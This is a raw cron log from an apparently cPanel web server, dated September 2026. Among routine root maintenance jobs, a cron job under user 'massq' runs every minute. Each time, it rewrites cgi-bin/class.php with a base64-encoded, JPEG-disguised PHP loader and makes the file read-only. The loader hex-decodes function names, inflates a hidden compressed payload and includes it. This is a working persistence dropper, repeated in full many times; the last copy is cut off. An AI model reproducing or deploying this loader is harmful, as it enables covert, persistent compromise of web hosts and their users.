Sep  2 00:00:01 server CROND[23815]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 00:00:01 server CROND[23819]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep  2 00:00:01 server CROND[23814]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:00:01 server CROND[23821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:00:01 server CROND[23817]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 00:00:01 server CROND[23816]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 00:01:01 server CROND[24728]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 00:01:01 server CROND[24727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:01:01 server CROND[24730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:01:01 server CROND[24729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:01:01 server run-parts(/etc/cron.hourly)[24728]: starting 0anacron
Sep  2 00:01:01 server anacron[24750]: Anacron started on 2026-09-02
Sep  2 00:01:01 server run-parts(/etc/cron.hourly)[24752]: finished 0anacron
Sep  2 00:01:01 server anacron[24750]: Normal exit (0 jobs run)
Sep  2 00:02:01 server CROND[25126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:02:01 server CROND[25127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:02:01 server CROND[25129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:03:01 server CROND[25521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:03:01 server CROND[25522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:03:01 server CROND[25523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:04:01 server CROND[26115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:04:01 server CROND[26116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:04:01 server CROND[26117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:05:01 server CROND[26506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:05:01 server CROND[26508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:05:01 server CROND[26509]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 00:05:01 server CROND[26512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:05:01 server CROND[26510]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 00:05:01 server CROND[26513]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 00:05:01 server CROND[26511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:05:01 server CROND[26514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:06:01 server CROND[27416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:06:01 server CROND[27417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:06:01 server CROND[27418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:07:01 server CROND[27805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:07:01 server CROND[27806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:07:01 server CROND[27807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:08:01 server CROND[28196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:08:01 server CROND[28195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:08:01 server CROND[28197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:09:01 server CROND[28658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:09:01 server CROND[28659]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 00:09:01 server CROND[28660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:09:01 server CROND[28661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:10:01 server CROND[29053]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:10:01 server CROND[29055]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 00:10:01 server CROND[29057]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 00:10:01 server CROND[29056]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 00:10:01 server CROND[29059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:10:01 server CROND[29058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:10:01 server CROND[29063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:10:01 server CROND[29065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:11:01 server CROND[29933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:11:01 server CROND[29934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:11:01 server CROND[29935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1h